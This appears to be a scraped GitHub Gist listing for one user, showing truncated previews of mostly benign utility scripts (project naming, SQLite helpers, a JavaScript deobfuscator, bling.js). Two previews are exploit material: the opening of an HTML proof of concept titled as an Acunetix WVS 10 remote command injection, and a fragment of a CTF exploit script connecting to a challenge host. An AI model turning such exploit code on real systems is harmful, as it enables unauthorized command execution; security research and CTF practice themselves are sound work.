Skip to content

Instantly share code, notes, and snippets.

@ChiChou
ChiChou / nameit.py
Created August 13, 2016 12:59
How I name my project
#!/usr/bin/env python3
# git clone https://github.com/dwyl/english-words.git
# cd english-words
# wget https://gist.github.com/ChiChou/d3d90b026f45017a98e8e39157d3caae/raw/nameit.py
# pip3 install lxml beautifulsoup4 requests
# ./nameit.py
import random
import os
@ChiChou
ChiChou / google_query_parser.py
Last active June 2, 2016 11:58
Dead simple python script to parse Google style search query
#!/usr/bin/env python
import shlex
def parse_query(query):
tokens = shlex.split(query)
dsl = {'search': []}
key = ''
for token in tokens:
if token.endswith(':'):
@ChiChou
ChiChou / eval.stripper.js
Last active May 24, 2023 03:13
Hook eval to deobfuscate javascript
/**
* requires node.js with ES6 support, or babel
*/
'use strict';
const vm = require('vm');
const fs = require('fs');
const __loggers__ = {};
function log(tag) {
@ChiChou
ChiChou / unhex.sql
Last active July 31, 2025 13:52
SQLite3 convert hex string to int (requires sqlite >= 3.8.3)
WITH RECURSIVE
unhex(str, val, weight) AS (
SELECT 'deadbeef', 0, 1
UNION ALL
SELECT
substr(str, 1, length(str) - 1),
val + (instr('0123456789ABCDEF', substr(str, length(str), 1)) - 1) * weight,
weight * 16
FROM unhex WHERE length(str) > 0
)
@ChiChou
ChiChou / scanme.html
Last active December 4, 2015 03:44
Acunetix WVS 10 Remote Privileged Command Injection
<script src="http://127.0.0.1:8183/js/json2.js" type="text/javascript"></script>
<script type="text/javascript">
(function() {
/*
* DISCLAIMER:
* This was written solely for educational purposes.
* Use it at your own risk. The author will be not responsible for any damage.
*/
var command = 'cmd /k echo test';
from zio import *
target = ('calcpop-4gh07blg.9447.plumbing', 9447)
# io = zio('./calcpop')
io = zio(target)
io.read_until('calc.exe\n')
io.write('\n')
io.read_until('was ')
addr = io.read_until('\n')
addr = int(addr, 16)
@ChiChou
ChiChou / sqlite_fts_tokenizer.py
Created November 24, 2015 13:13 — forked from hideaki-t/sqlite_fts_tokenizer.py
a proof of concept implementation of SQLite FTS tokenizers in Python
# coding: utf-8
"""
a proof of concept implementation of SQLite FTS tokenizers in Python
"""
from __future__ import print_function, unicode_literals
import sys
import ctypes
from ctypes import POINTER, CFUNCTYPE
import struct
@ChiChou
ChiChou / photosphere_xmp.py
Created August 14, 2015 11:35
Dump metadata from panorama photos shot by Photosphere App
#!/usr/bin/env python
"""
Dump metadata from panorama photos shot by Photosphere App
Usage
@author: @CodeColorist
@site: http://chichou.0ginr.com/blog
@ChiChou
ChiChou / global_objects.js
Created July 24, 2015 07:02
Javascript global objects
/^((un)?escape|(de|en)codeURI(Component)?|Infinity|NaN|undefined|null|(un)?eval|is(Finite|NaN)|parse(Floa|In)t|Object|Function|Boolean|Symbol|((Interna|Eva)l|R(ange|eference)|Syntax|Type|URI)?Error|Number|Math|Date|String|RegExp|(Int(8|16|32)|Uint8(Clamped)?|Uint(16|32)|Float(32|64))?Array|ArrayBuffer|DataView|JSON|Promise|Generator|Reflect|Proxy|this|(Weak)?(Map|Set)|Intl)$/
@ChiChou
ChiChou / bling.js
Last active August 8, 2024 04:04 — forked from paulirish/bling.js
/**
* bling.js
*/
window.$ = document.querySelectorAll.bind(document);
window.$id = document.getElementById.bind(document);
Array.prototype.each = Array.prototype.forEach;
NodeList.prototype.__proto__ = Array.prototype;
NodeList.prototype.on = function(name, delegate, fn) {